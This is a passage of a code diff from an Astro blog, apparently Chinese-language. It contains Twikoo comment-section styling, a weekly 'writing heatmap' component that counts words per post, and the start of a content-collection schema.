<div class="twikoo-preview-actions" aria-hidden="true"><span>表情</span><button type="button" disabled>发布评论</button></div>
<p class="twikoo-preview-empty">暂无评论</p>
</div>
</section>}
<style is:global>
#comments { width: min(100%, var(--article-content-width)); margin: 4.375rem auto 0; }
#comments > h2 { margin: 0 0 1.5rem; padding-top: 1.375rem; border-top: 1px solid var(--color-border); color: var(--color-accent-strong); font-family: var(--reading-font-family); font-size: 1.5625rem; font-weight: 500; }
#twikoo-comments, #comments > #twikoo { color: var(--color-text); font-size: .94rem; }
#twikoo-comments .tk-comments-title, #comments > #twikoo .tk-comments-title { margin: 0 0 18px; color: var(--color-text); font-family: var(--font-serif); font-size: 1.1rem; font-weight: 600; }
#twikoo-comments .tk-comment, #comments > #twikoo .tk-comment { padding: 1.375rem 0; border-bottom: 1px solid var(--color-border); }
#twikoo-comments .tk-content, #twikoo-comments .tk-comment-content, #comments > #twikoo .tk-content, #comments > #twikoo .tk-comment-content { margin-top: .5rem; color: var(--color-text); line-height: 1.75; overflow-wrap: anywhere; }
#twikoo-comments .tk-content p, #twikoo-comments .tk-comment-content p, #comments > #twikoo .tk-content p, #comments > #twikoo .tk-comment-content p { margin: .35em 0; }
#twikoo-comments .tk-avatar, #twikoo-comments .tk-comment-avatar, #comments > #twikoo .tk-avatar, #comments > #twikoo .tk-comment-avatar { width: 3.125rem; height: 3.125rem; border-radius: 50%; background: var(--color-code); }
#twikoo-comments .tk-comment-name, #twikoo-comments .tk-nick, #comments > #twikoo .tk-comment-name, #comments > #twikoo .tk-nick { color: var(--color-text); font-weight: 700; }
#twikoo-comments .tk-meta, #twikoo-comments .tk-time, #twikoo-comments .tk-comment-actions, #twikoo-comments .tk-comment-edit, #comments > #twikoo .tk-meta, #comments > #twikoo .tk-time, #comments > #twikoo .tk-comment-actions, #comments > #twikoo .tk-comment-edit { color: var(--color-muted); font-size: .78rem; }
#twikoo-comments .tk-replies, #comments > #twikoo .tk-replies { margin: 1rem 0 0 -.25rem; padding-left: .375rem; border-left: 2px solid var(--color-border); }
#twikoo-comments .tk-replies .tk-comment, #comments > #twikoo .tk-replies .tk-comment { padding-block: .875rem; }
#twikoo-comments .tk-main, #comments > #twikoo .tk-main { margin-top: 1.375rem; }
#twikoo-comments .tk-input, #comments > #twikoo .tk-input { width: 100%; }
#twikoo-comments textarea, #twikoo-comments input, #comments > #twikoo textarea, #comments > #twikoo input { width: 100%; border: 2px solid var(--color-accent); border-radius: var(--radius-sm); background: var(--color-surface); color: var(--color-text); }
#twikoo-comments textarea, #comments > #twikoo textarea { min-height: 120px; padding: 13px 15px; resize: vertical; }
#twikoo-comments input, #comments > #twikoo input { padding: 9px 11px; }
#twikoo-comments textarea:focus, #twikoo-comments input:focus, #comments > #twikoo textarea:focus, #comments > #twikoo input:focus { border-color: var(--color-accent-strong); outline: none; }
#twikoo-comments button, #twikoo-comments .tk-submit, #comments > #twikoo button, #comments > #twikoo .tk-submit { border: 1px solid var(--color-accent-strong); border-radius: var(--radius-sm); background: var(--color-accent); color: var(--color-accent-contrast); cursor: pointer; font-weight: 700; }
#twikoo-comments .tk-owo, #twikoo-comments .OwO, #comments > #twikoo .tk-owo, #comments > #twikoo .OwO { color: var(--color-muted); }
#twikoo-comments .OwO .OwO-body, #comments > #twikoo .OwO .OwO-body { border-color: var(--color-border); background: var(--color-surface); }
#twikoo-comments .tk-loading, #twikoo-comments .tk-empty, #twikoo-comments .tk-error, #comments > #twikoo .tk-loading, #comments > #twikoo .tk-empty, #comments > #twikoo .tk-error { padding: 22px 0; color: var(--color-muted); }
#twikoo-comments .tk-loading, #comments > #twikoo .tk-loading, #twikoo-comments .el-loading-spinner, #comments > #twikoo .el-loading-spinner { color: var(--color-accent) !important; }
#twikoo-comments .tk-loading :is(svg, path), #comments > #twikoo .tk-loading :is(svg, path), #twikoo-comments .el-loading-spinner :is(svg, path), #comments > #twikoo .el-loading-spinner :is(svg, path) { color: var(--color-accent) !important; stroke: currentColor !important; }
#twikoo-comments .el-loading-spinner .path, #comments > #twikoo .el-loading-spinner .path { stroke: var(--color-accent) !important; }
#twikoo-comments .tk-loading::before, #comments > #twikoo .tk-loading::before { border-color: color-mix(in srgb, var(--color-accent) 25%, transparent) !important; border-top-color: var(--color-accent) !important; }
#twikoo-comments[data-twikoo-state='idle'] { min-height: 80px; }
#twikoo-comments[data-twikoo-state='idle']::before { content: '评论将在滚动到此处时加载'; display: block; color: var(--color-muted); font-size: .86rem; }
#twikoo-comments[data-twikoo-error='true']::before { content: '评论暂时不可用。'; display: block; padding: 22px 0; color: var(--color-muted); }
.twikoo-preview { border: 1px solid var(--color-border); background: var(--color-surface); color: var(--color-text); }
.twikoo-preview-status { margin: 0; padding: 12px 15px; border-bottom: 1px solid var(--color-border); color: var(--color-muted); font-size: .86rem; }
.twikoo-preview-fields { display: grid; grid-template-columns: repeat(3, 1fr); border-bottom: 1px solid var(--color-border); }
.twikoo-preview-fields span { padding: 10px 12px; color: var(--color-muted); font-size: .82rem; }
.twikoo-preview-fields span + span { border-left: 1px solid var(--color-border); }
.twikoo-preview-editor { min-height: 120px; padding: 14px 15px; color: var(--color-muted); }
.twikoo-preview-actions { display: flex; align-items: center; justify-content: space-between; gap: 12px; padding: 10px 12px; border-top: 1px solid var(--color-border); color: var(--color-muted); font-size: .85rem; }
.twikoo-preview-actions button { padding: 7px 12px; border: 1px solid var(--color-border); border-radius: var(--radius-sm); background: var(--color-raised); color: var(--color-muted); cursor: not-allowed; font-weight: 700; }
.twikoo-preview-empty { margin: 0; padding: 18px 15px; border-top: 1px solid var(--color-border); color: var(--color-muted); font-size: .9rem; text-align: center; }
#comments > #twikoo { margin: 0; background: transparent !important; color: var(--color-text) !important; font-family: var(--reading-font-family) !important; }
#comments > #twikoo a { color: var(--color-accent) !important; }
#comments > #twikoo .tk-submit { padding: 0 !important; border: 0 !important; background: transparent !important; box-shadow: none !important; }
#comments > #twikoo .tk-row { align-items: flex-start !important; gap: .625rem !important; }
#comments > #twikoo .tk-submit > .tk-row { display: block !important; position: relative !important; }
#comments > #twikoo .tk-submit > .tk-row > .tk-avatar { position: absolute !important; top: 0 !important; left: 0 !important; }
#comments > #twikoo .tk-avatar { flex: 0 0 3.125rem !important; width: 3.125rem !important; height: 3.125rem !important; margin: 0 .625rem 0 0 !important; border-radius: 50% !important; background: var(--color-code) !important; color: var(--color-muted) !important; }
#comments > #twikoo .tk-avatar-img { width: 100% !important; height: 100% !important; }
#comments > #twikoo .tk-avatar-img svg { display: block !important; width: calc(100% + 2px) !important; height: calc(100% + 2px) !important; margin: -1px !important; padding: 0 !important; shape-rendering: geometricPrecision; }
#comments > #twikoo .tk-submit > .tk-row > .tk-col { box-sizing: border-box !important; width: 100% !important; min-width: 0 !important; padding-left: 3.75rem !important; }
#comments > #twikoo .tk-meta-input { box-sizing: border-box !important; display: grid !important; grid-template-columns: repeat(3, minmax(0, 1fr)) !important; gap: .625rem !important; width: 100% !important; margin-bottom: .625rem !important; }
#comments > #twikoo .tk-meta-input > .el-input { width: 100% !important; min-width: 0 !important; height: 2.125rem !important; }
#comments > #twikoo .tk-meta-input > .el-input.el-input-group { display: flex !important; box-sizing: border-box !important; margin-left: 0 !important; }
#comments > #twikoo .tk-meta-input > .el-input.el-input-group .el-input-group__prepend { box-sizing: border-box !important; display: flex !important; flex: 0 0 3.75rem !important; align-items: center !important; justify-content: center !important; min-width: 3.75rem !important; padding-inline: .35rem !important; text-align: center !important; white-space: nowrap !important; }
#comments > #twikoo .tk-meta-input > .el-input.el-input-group .el-input__inner { min-width: 0 !important; flex: 1 1 auto !important; }
#comments > #twikoo .el-input-group__prepend { padding: 0 .55rem !important; border: 1px solid var(--color-border) !important; border-right: 0 !important; border-radius: var(--radius-sm) 0 0 var(--radius-sm) !important; background: var(--color-code) !important; color: var(--color-muted) !important; font-size: .78rem !important; }
#comments > #twikoo .el-input__inner { height: 2.125rem !important; padding: .438rem .525rem !important; border: 1px solid var(--color-border) !important; border-radius: 0 var(--radius-sm) var(--radius-sm) 0 !important; background: var(--color-surface) !important; color: var(--color-text) !important; font-family: var(--reading-font-family) !important; box-shadow: none !important; }
#comments > #twikoo .el-input__inner:focus, #comments > #twikoo .el-textarea__inner:focus { border-color: var(--color-accent) !important; }
#comments > #twikoo .tk-input { width: 100% !important; }
#comments > #twikoo .el-textarea__inner { min-height: 7.5rem !important; padding: .75rem .875rem !important; border: 1px solid var(--color-border) !important; border-radius: var(--radius-sm) !important; background: var(--color-surface) !important; color: var(--color-text) !important; font-family: var(--reading-font-family) !important; line-height: 1.6 !important; box-shadow: none !important; resize: vertical !important; }
#comments > #twikoo .el-input__count { right: .625rem !important; bottom: .35rem !important; background: transparent !important; color: var(--color-muted) !important; }
#comments > #twikoo .tk-row.actions { box-sizing: border-box !important; display: flex !important; justify-content: flex-end !important; width: calc(100% - 3.75rem) !important; margin: .625rem 0 0 3.75rem !important; padding-top: .625rem !important; }
#comments > #twikoo .tk-row-actions-start { gap: .5rem !important; }
#comments > #twikoo .tk-submit-action-icon { color: var(--color-muted) !important; }
#comments > #twikoo .OwO-logo { color: var(--color-muted) !important; }
#comments > #twikoo .OwO-body { border: 1px solid var(--color-border) !important; border-radius: var(--radius-sm) !important; background: var(--color-surface) !important; color: var(--color-text) !important; box-shadow: var(--shadow-soft) !important; }
#comments > #twikoo .tk-send { min-width: 7rem !important; height: 2.25rem !important; border: 0 !important; border-radius: var(--radius-sm) !important; background: var(--color-accent) !important; color: var(--color-accent-contrast) !important; font-weight: 500 !important; }
#comments > #twikoo .tk-send.is-disabled { opacity: .55 !important; }
#comments > #twikoo .tk-preview { border: 1px solid var(--color-border) !important; border-radius: var(--radius-sm) !important; background: transparent !important; color: var(--color-muted) !important; }
#comments > #twikoo .tk-comments-container { margin-top: 3rem !important; }
#comments > #twikoo .tk-comments-title { display: flex !important; align-items: center !important; justify-content: space-between !important; gap: 1rem !important; }
#comments > #twikoo .tk-comments-actions { display: flex !important; align-items: center !important; gap: .5rem !important; margin-left: auto !important; }
#comments > #twikoo .tk-comments-actions .tk-sort-item { display: inline-flex !important; align-items: center !important; height: 1.75rem !important; padding: .125rem .35rem !important; border: 0 !important; border-radius: var(--radius-sm) !important; background: transparent !important; color: var(--color-muted) !important; font-family: var(--reading-font-family) !important; font-size: .75rem !important; font-weight: 400 !important; }
#comments > #twikoo .tk-comments-actions .tk-sort-item:hover, #comments > #twikoo .tk-comments-actions .tk-sort-item.__active { background: var(--color-code) !important; color: var(--color-accent) !important; }
#comments > #twikoo .tk-comments-actions .tk-icon:first-of-type { display: none !important; }
#comments > #twikoo .tk-comments-actions .tk-icon.__comments { color: var(--color-accent) !important; }
#comments > #twikoo .tk-comments-title { margin: 0 0 1rem !important; padding-top: 1.125rem !important; border-top: 1px solid var(--color-border) !important; color: var(--color-accent) !important; font-family: var(--reading-font-family) !important; font-size: 1.25rem !important; font-weight: 500 !important; }
#comments > #twikoo .tk-comment { align-items: flex-start !important; margin-top: 1.625rem !important; padding: 0 0 .5rem !important; border: 0 !important; background: transparent !important; }
#comments > #twikoo .tk-comment > .tk-avatar { flex: 0 0 2.25rem !important; width: 2.25rem !important; height: 2.25rem !important; margin: 0 .75rem 0 0 !important; }
#comments > #twikoo .tk-comment > .tk-main { min-width: 0 !important; margin-top: 0 !important; }
#comments > #twikoo .tk-comment > .tk-main > .tk-row { align-items: flex-start !important; }
#comments > #twikoo .tk-nick { color: var(--color-text) !important; font-size: .875rem !important; font-weight: 500 !important; }
#comments > #twikoo .tk-nick strong { color: inherit !important; font-weight: 500 !important; }
#comments > #twikoo .tk-time, #comments > #twikoo .tk-meta, #comments > #twikoo .tk-comment-actions { color: var(--color-muted) !important; font-size: .75rem !important; font-weight: 400 !important; }
#comments > #twikoo .tk-meta { align-items: baseline !important; gap: .5rem !important; }
#comments > #twikoo .tk-time { margin-left: .5rem !important; }
#comments > #twikoo .tk-action { display: flex !important; align-items: center !important; gap: .25rem !important; }
#comments > #twikoo .tk-action-link { display: inline-flex !important; align-items: center !important; gap: .2rem !important; min-width: 2.5rem !important; height: 1.75rem !important; padding: .125rem .3rem !important; border: 0 !important; border-radius: var(--radius-sm) !important; background: transparent !important; color: var(--color-muted) !important; font-family: var(--reading-font-family) !important; font-size: .75rem !important; font-weight: 400 !important; }
#comments > #twikoo .tk-action-link:hover { background: var(--color-code) !important; color: var(--color-accent) !important; }
#comments > #twikoo .tk-action-link:focus-visible { outline: 1px solid var(--color-accent) !important; outline-offset: 1px !important; }
#comments > #twikoo .tk-action-icon { display: inline-flex !important; width: .8rem !important; height: .8rem !important; color: currentColor !important; }
#comments > #twikoo .tk-action-icon svg { width: 100% !important; height: 100% !important; }
#comments > #twikoo .tk-action-icon-solid { display: none !important; }
#comments > #twikoo .tk-action-link:is(.tk-liked, .tk-disliked) .tk-action-icon { display: none !important; }
#comments > #twikoo .tk-action-link:is(.tk-liked, .tk-disliked) .tk-action-icon-solid { display: inline-flex !important; width: .8rem !important; height: .8rem !important; color: currentColor !important; }
#comments > #twikoo .tk-action-link:not(:is(.tk-liked, .tk-disliked)):hover .tk-action-icon { display: inline-flex !important; }
#comments > #twikoo .tk-action-link:not(:is(.tk-liked, .tk-disliked)):hover .tk-action-icon-solid { display: none !important; }
#comments > #twikoo .tk-action-link:nth-child(1)::after { content: '赞'; }
#comments > #twikoo .tk-action-link:nth-child(2)::after { content: '踩'; }
#comments > #twikoo .tk-action-link:nth-child(3)::after { content: '回复'; }
#comments > #twikoo .tk-action:has(> .tk-action-link:nth-child(4)) .tk-action-link:nth-child(1)::after { content: '删除'; }
#comments > #twikoo .tk-action:has(> .tk-action-link:nth-child(4)) .tk-action-link:nth-child(2)::after { content: '赞'; }
#comments > #twikoo .tk-action:has(> .tk-action-link:nth-child(4)) .tk-action-link:nth-child(3)::after { content: '踩'; }
#comments > #twikoo .tk-action:has(> .tk-action-link:nth-child(4)) .tk-action-link:nth-child(4)::after { content: '回复'; }
#comments > #twikoo .tk-action-count { color: inherit !important; font-size: .7rem !important; }
#comments > #twikoo .tk-action-link.tk-delete::after, #comments > #twikoo .tk-action-link[data-action='delete']::after { content: '删除'; }
#comments > #twikoo .tk-content, #comments > #twikoo .tk-comment-content { margin-top: .625rem !important; padding: 0 !important; color: var(--color-text) !important; font-size: .9375rem !important; line-height: 1.6 !important; }
#comments > #twikoo .tk-content p, #comments > #twikoo .tk-comment-content p { margin: .35em 0 !important; }
#comments > #twikoo .tk-replies { margin: 1rem 0 0 0 !important; padding-left: 1rem !important; border-left: .25rem solid var(--color-code) !important; }
#comments > #twikoo .tk-replies .tk-comment { padding-block: .875rem !important; }
#comments > #twikoo .tk-empty, #comments > #twikoo .tk-error { padding: 1rem 0 !important; color: var(--color-muted) !important; }
@media (max-width: 37.5rem) {
#comments { width: 100%; }
#comments > #twikoo { font-size: .9rem !important; }
#comments > #twikoo .tk-comments-title { align-items: flex-start !important; flex-wrap: wrap !important; }
#comments > #twikoo .tk-comments-title { gap: .625rem !important; }
#comments > #twikoo .tk-comments-actions { display: flex !important; flex-wrap: wrap !important; width: 100% !important; margin-left: 0 !important; gap: .25rem !important; }
#comments > #twikoo .tk-comments-actions .tk-sort-item { padding-inline: .25rem !important; }
#comments > #twikoo .tk-submit > .tk-row { display: flex !important; align-items: flex-start !important; gap: .5rem !important; }
#comments > #twikoo .tk-submit > .tk-row > .tk-avatar { position: static !important; flex: 0 0 1.875rem !important; width: 1.875rem !important; height: 1.875rem !important; margin: 0 !important; }
#comments > #twikoo .tk-submit > .tk-row > .tk-col { flex: 1 1 auto !important; width: auto !important; padding-left: 0 !important; }
#comments > #twikoo .tk-comment > .tk-avatar { flex: 0 0 2rem !important; width: 2rem !important; height: 2rem !important; margin: 0 .625rem 0 0 !important; }
#comments > #twikoo .tk-avatar { flex-shrink: 0 !important; }
#comments > #twikoo .tk-meta-input { grid-template-columns: 1fr !important; gap: .35rem !important; }
#comments > #twikoo .tk-meta-input > .el-input { min-width: 0 !important; }
#comments > #twikoo .tk-row.actions { display: flex !important; flex-wrap: wrap !important; align-items: center !important; justify-content: space-between !important; width: 100% !important; margin: .625rem 0 0 !important; padding-top: .5rem !important; gap: .5rem !important; }
#comments > #twikoo .tk-row-actions-start { flex: 1 1 auto !important; min-width: 0 !important; flex-wrap: wrap !important; }
#comments > #twikoo .tk-send { flex: 0 0 auto !important; min-width: 5.5rem !important; }
#comments > #twikoo .tk-meta { min-width: 0 !important; flex-wrap: wrap !important; gap: .25rem .5rem !important; }
#comments > #twikoo .tk-time { margin-left: 0 !important; }
#comments > #twikoo .tk-action { flex-wrap: wrap !important; gap: .125rem !important; }
#comments > #twikoo .tk-action-link { box-sizing: border-box !important; flex: 0 0 1.75rem !important; justify-content: center !important; width: 1.75rem !important; min-width: 1.75rem !important; height: 1.75rem !important; margin: 0 !important; padding: 0 !important; gap: 0 !important; }
#comments > #twikoo .tk-action-link .tk-action-count { display: none !important; margin: 0 !important; }
#comments > #twikoo .tk-action-link .tk-action-icon { flex: 0 0 .8rem !important; }
#comments > #twikoo .tk-action-link::after { content: none !important; }
#comments > #twikoo .tk-content, #comments > #twikoo .tk-comment-content { min-width: 0 !important; overflow-wrap: anywhere !important; }
#comments > #twikoo .tk-replies { width: 100% !important; margin-left: 0 !important; padding-left: .625rem !important; overflow: hidden !important; }
#comments > #twikoo .tk-replies .tk-comment { min-width: 0 !important; }
#comments > #twikoo .tk-replies .tk-comment > .tk-avatar { flex-basis: 1.75rem !important; width: 1.75rem !important; height: 1.75rem !important; margin-right: .5rem !important; }
#comments > #twikoo .OwO .OwO-body { right: 0 !important; left: auto !important; width: min(18rem, 100vw - 2rem) !important; }
}
@media (max-width: 37.5rem) { #comments { margin-top: 3.25rem; } #twikoo-comments .tk-avatar, #twikoo-comments .tk-comment-avatar { width: 1.875rem; height: 1.875rem; } }
</style>
+262
View File
@@ -0,0 +1,262 @@
---
import type { PostEntry } from '@/lib/content';
interface Props { posts: PostEntry[]; }
interface WeekCell { week: number; words: number; level: number; }
const { posts } = Astro.props;
const currentYear = new Date().getFullYear();
const years = Array.from({ length: 3 }, (_, index) => currentYear - 2 + index);
function countWords(source: string): number {
const text = source
.replace(/```[\s\S]*?```/g, '')
.replace(/`[^`]+`/g, '')
.replace(/!\[[^\]]*\]\([^)]*\)/g, '')
.replace(/\[([^\]]*)\]\([^)]*\)/g, '$1')
.replace(/<[^>]+>/g, '')
.replace(/https?:\/\/\S+/g, '')
.replace(/[#{*_~>`|+-]/g, ' ')
.replace(/\s+/g, ' ')
.trim();
const chineseCharacters = text.match(/[\u3400-\u4dbf\u4e00-\u9fff]/g)?.length ?? 0;
const otherWords = text
.replace(/[\u3400-\u4dbf\u4e00-\u9fff]/g, ' ')
.split(/\s+/)
.filter(Boolean).length;
return chineseCharacters + otherWords;
}
function getIsoWeek(date: Date): { year: number; week: number } {
const utcDate = new Date(Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()));
const day = utcDate.getUTCDay() || 7;
utcDate.setUTCDate(utcDate.getUTCDate() + 4 - day);
const year = utcDate.getUTCFullYear();
const yearStart = new Date(Date.UTC(year, 0, 1));
const week = Math.ceil(((utcDate.getTime() - yearStart.getTime()) / 86_400_000 + 1) / 7);
return { year, week };
}
function getLevel(words: number): number {
if (words === 0) return 0;
if (words < 1_000) return 1;
if (words < 3_000) return 2;
if (words < 8_000) return 3;
return 4;
}
const wordsByWeek = new Map<string, number>();
let totalWords = 0;
for (const post of posts) {
const words = countWords(post.body ?? '');
totalWords += words;
const { year, week } = getIsoWeek(post.data.pubDate);
if (!years.includes(year)) continue;
const key = `${year}-${week}`;
wordsByWeek.set(key, (wordsByWeek.get(key) ?? 0) + words);
}
const yearRows = years.map((year) => ({
year,
weeks: Array.from({ length: 53 }, (_, index): WeekCell => {
const week = index + 1;
const words = wordsByWeek.get(`${year}-${week}`) ?? 0;
return { week, words, level: getLevel(words) };
})
}));
const totalWordsLabel = totalWords >= 10_000
? `${(totalWords / 10_000).toFixed(2)}W`
: totalWords.toLocaleString('zh-CN');
---
<section class="writing-heatmap" aria-labelledby="writing-heatmap-title" data-pagefind-ignore="all">
<header>
<div class="writing-heading">
<h2 id="writing-heatmap-title">写作热力图</h2>
<p class="writing-total">自博客建立以来,已输出 <span class="writing-total-value">{totalWordsLabel}</span><span class="writing-total-label">字</span></p>
</div>
<div class="heatmap-legend" aria-label="写作字数:从少到多">
<span>少</span>
{[0, 1, 2, 3, 4].map((level) => <i class={`level-${level}`} aria-hidden="true"></i>)}
<span>多</span>
</div>
</header>
<div class="heatmap-viewport" data-heatmap-viewport>
<div class="heatmap-scroll" aria-label="最近三年每周写作字数热力图" data-heatmap-scroll>
<div class="heatmap-grid">
{yearRows.map((row) => <div class="heatmap-row">
<strong>{row.year}</strong>
{row.weeks.map((cell) => <span
class={`heatmap-cell level-${cell.level}`}
aria-label={`${row.year} 年第 ${cell.week} 周,${cell.words.toLocaleString('zh-CN')} 字`}
>
<span class="heatmap-tooltip" role="tooltip"><span class="heatmap-tooltip-code">{row.year} W{String(cell.week).padStart(2, '0')} · {cell.words.toLocaleString('zh-CN')}</span><span class="heatmap-tooltip-label">字</span></span>
</span>)}
</div>)}
<div class="week-labels" aria-hidden="true">
<span></span>
{Array.from({ length: 53 }, (_, index) => <span>{[1, 14, 27, 40, 53].includes(index + 1) ? `W${String(index + 1).padStart(2, '0')}` : ''}</span>)}
</div>
</div>
</div>
</div>
</section>
<script>
let cleanupHeatmap: (() => void) | undefined;
const initHeatmap = () => {
cleanupHeatmap?.();
cleanupHeatmap = undefined;
const heatmapScroll = document.querySelector<HTMLElement>('[data-heatmap-scroll]');
if (!heatmapScroll) return;
const heatmapViewport = heatmapScroll.closest<HTMLElement>('[data-heatmap-viewport]');
const heatmapGrid = heatmapScroll.querySelector<HTMLElement>('.heatmap-grid');
const root = document.documentElement;
const baseRootFontSize = 16;
let baseCellSize = 0;
let activeTooltip: { cell: HTMLElement; tooltip: HTMLElement; placeholder: Comment } | undefined;
const updateTooltipPosition = () => {
if (!activeTooltip) return;
const { cell, tooltip } = activeTooltip;
const cellRect = cell.getBoundingClientRect();
const tooltipRect = tooltip.getBoundingClientRect();
const gap = 6;
const horizontalPadding = 8;
const left = Math.min(
Math.max(cellRect.left + cellRect.width / 2, tooltipRect.width / 2 + horizontalPadding),
window.innerWidth - tooltipRect.width / 2 - horizontalPadding
);
const fitsAbove = cellRect.top >= tooltipRect.height + gap;
const fitsBelow = cellRect.bottom + tooltipRect.height + gap <= window.innerHeight;
const top = fitsAbove || !fitsBelow
? cellRect.top - tooltipRect.height - gap
: cellRect.bottom + gap;
tooltip.style.left = `${left}px`;
tooltip.style.top = `${Math.max(horizontalPadding, top)}px`;
};
const closeTooltip = () => {
if (!activeTooltip) return;
const { tooltip, placeholder } = activeTooltip;
tooltip.removeAttribute('data-heatmap-portal');
tooltip.removeAttribute('style');
placeholder.parentNode?.insertBefore(tooltip, placeholder);
placeholder.remove();
activeTooltip = undefined;
};
const openTooltip = (cell: HTMLElement) => {
closeTooltip();
const tooltip = cell.querySelector<HTMLElement>('.heatmap-tooltip');
if (!tooltip) return;
const placeholder = document.createComment('heatmap-tooltip');
tooltip.replaceWith(placeholder);
tooltip.setAttribute('data-heatmap-portal', '');
document.body.append(tooltip);
activeTooltip = { cell, tooltip, placeholder };
updateTooltipPosition();
requestAnimationFrame(() => tooltip.classList.add('is-visible'));
};
const heatmapCells = [...heatmapScroll.querySelectorAll<HTMLElement>('.heatmap-cell')];
const cellListeners = heatmapCells.map((cell) => {
const onMouseEnter = () => openTooltip(cell);
cell.addEventListener('mouseenter', onMouseEnter);
cell.addEventListener('mouseleave', closeTooltip);
return { cell, onMouseEnter };
});
window.addEventListener('resize', updateTooltipPosition);
window.addEventListener('scroll', updateTooltipPosition, true);
const updateHeatmapFades = () => {
if (!heatmapViewport || !heatmapGrid) return;
const maxScrollLeft = Math.max(0, heatmapGrid.getBoundingClientRect().width - heatmapScroll.clientWidth);
heatmapViewport.classList.toggle('can-scroll-left', heatmapScroll.scrollLeft > 1);
heatmapViewport.classList.toggle('can-scroll-right', heatmapScroll.scrollLeft < maxScrollLeft - 1);
};
const updateHeatmapOverflow = () => {
if (!heatmapGrid) return;
const rootFontSize = Number.parseFloat(getComputedStyle(root).fontSize) || baseRootFontSize;
const scale = rootFontSize / baseRootFontSize;
const availableCellSize = (heatmapScroll.clientWidth - 3.25 * baseRootFontSize) / 53;
if (scale <= 1.01 || baseCellSize === 0) {
baseCellSize = Math.min(12, Math.max(8, availableCellSize));
}
heatmapGrid.style.setProperty('--heatmap-cell-size', `${baseCellSize * scale}px`);
heatmapViewport?.classList.toggle('has-overflow', heatmapGrid.getBoundingClientRect().width > heatmapScroll.clientWidth + 1);
updateHeatmapFades();
};
const resizeObserver = new ResizeObserver(updateHeatmapOverflow);
const fontScaleObserver = new MutationObserver(updateHeatmapOverflow);
resizeObserver.observe(heatmapScroll);
fontScaleObserver.observe(root, { attributes: true, attributeFilter: ['style'] });
heatmapScroll.addEventListener('scroll', updateHeatmapFades, { passive: true });
updateHeatmapOverflow();
cleanupHeatmap = () => {
closeTooltip();
cellListeners.forEach(({ cell, onMouseEnter }) => {
cell.removeEventListener('mouseenter', onMouseEnter);
cell.removeEventListener('mouseleave', closeTooltip);
});
window.removeEventListener('resize', updateTooltipPosition);
window.removeEventListener('scroll', updateTooltipPosition, true);
resizeObserver.disconnect();
fontScaleObserver.disconnect();
heatmapScroll.removeEventListener('scroll', updateHeatmapFades);
};
};
document.addEventListener('astro:page-load', initHeatmap);
initHeatmap();
</script>
<style>
.writing-heatmap { margin-bottom: 3.5rem; }
.writing-heatmap header { display: flex; gap: 1rem; align-items: flex-start; justify-content: space-between; margin-bottom: 1rem; }
.writing-heading { min-width: 0; }
.writing-heatmap h2 { margin: 0; font-size: 1.375rem; font-weight: 400; }
.writing-total { margin: .25rem 0 0; color: var(--color-muted); font-size: .8125rem; }
.writing-total-value { font-family: Consolas, Menlo, Monaco, 'lucida_console', 'Liberation_Mono', 'Courier_New', 'andale_mono', monospaceX, monospace, sans-serif; }
.writing-total-label { font-family: var(--reading-font-family); }
.heatmap-legend { display: flex; gap: .25rem; align-items: center; padding-top: .25rem; color: var(--color-muted); font-size: .75rem; }
.heatmap-legend i { width: .75rem; height: .75rem; }
.heatmap-viewport { position: relative; }
.heatmap-viewport::before,
.heatmap-viewport::after { display: none; position: absolute; z-index: 1; top: 0; bottom: .5rem; width: 1.75rem; content: ''; pointer-events: none; }
.heatmap-viewport::before { left: 0; background: linear-gradient(90deg, var(--color-bg) 15%, transparent); }
.heatmap-viewport::after { right: 0; background: linear-gradient(90deg, transparent, var(--color-bg) 85%); }
.heatmap-viewport.has-overflow.can-scroll-left::before,
.heatmap-viewport.has-overflow.can-scroll-right::after { display: block; }
.heatmap-scroll { overflow-x: hidden; padding: .125rem 0 .5rem; container-type: inline-size; scrollbar-width: thin; }
.heatmap-viewport.has-overflow .heatmap-scroll { overflow-x: auto; }
.heatmap-grid { --heatmap-label-width: 3.25rem; --heatmap-cell-size: clamp(8px, .75rem, 18px); display: grid; width: max-content; gap: 4px; }
.heatmap-row,
.week-labels { display: grid; grid-template-columns: var(--heatmap-label-width) repeat(53, var(--heatmap-cell-size)); column-gap: 0; row-gap: 2px; align-items: center; }
.heatmap-row strong { color: var(--color-text); font-family: Consolas, Menlo, Monaco, 'lucida_console', 'Liberation_Mono', 'Courier_New', 'andale_mono', monospaceX, monospace, sans-serif; font-size: .8125rem; }
.heatmap-cell { position: relative; display: block; width: var(--heatmap-cell-size); height: var(--heatmap-cell-size); }
.heatmap-tooltip { position: absolute; bottom: calc(100% + .375rem); left: 50%; z-index: 10; display: inline-block; padding: .3rem .5rem; border: 1px solid var(--color-border); background: var(--color-surface); color: var(--color-text); box-shadow: var(--shadow-soft); font-size: .75rem; line-height: 1.2; white-space: nowrap; pointer-events: none; opacity: 0; transform: translate(-50%, .25rem); transition: opacity 160ms ease, transform 160ms ease; }
.heatmap-cell:hover .heatmap-tooltip { opacity: 1; transform: translate(-50%, 0); }
.heatmap-tooltip[data-heatmap-portal] { position: fixed; top: 0; left: 0; z-index: 1000; bottom: auto; transform: translateX(-50%); opacity: 0; }
.heatmap-tooltip[data-heatmap-portal].is-visible { opacity: 1; }
.heatmap-tooltip-code { font-family: Consolas, Menlo, Monaco, 'lucida_console', 'Liberation_Mono', 'Courier_New', 'andale_mono', monospaceX, monospace, sans-serif; }
.heatmap-tooltip-label { font-family: var(--reading-font-family); }
.week-labels span { color: var(--color-muted); font-family: Consolas, Menlo, Monaco, 'lucida_console', 'Liberation_Mono', 'Courier_New', 'andale_mono', monospaceX, monospace, sans-serif; font-size: .625rem; text-align: center; white-space: nowrap; }
.level-0 { background: var(--heatmap-0); }
.level-1 { background: var(--heatmap-1); }
.level-2 { background: var(--heatmap-2); }
.level-3 { background: var(--heatmap-3); }
.level-4 { background: var(--heatmap-4); }
@media (max-width: 37.5rem) {
.writing-heatmap { display: none; }
}
</style>
+37
View File
@@ -0,0 +1,37 @@
import { defineCollection, z } from 'astro:content';
import { glob } from 'astro/loaders';
const baseSchema = z.object({
title: z.string(),
description: z.string().optional(),
pubDate: z.coerce.date(),
updatedDate: z.coerce.date().optional(),
draft: z.boolean().default(false),
categories: z.array(z.string()).nullable().transform((value) => value ?? []).default([]),
tags: z.array(z.string()).nullable().transform((value) => value ?? []).default([]),
slug: z.string().optional(),
originalSlug: z.string().optional(),
cover: z.string().optional(),
originalCover: z.string().url().optional(),
hero: z.string().optional(),
textTone: z.enum(['light', 'dark', 'auto']).optional(),
toc: z.union([
z.boolean(),
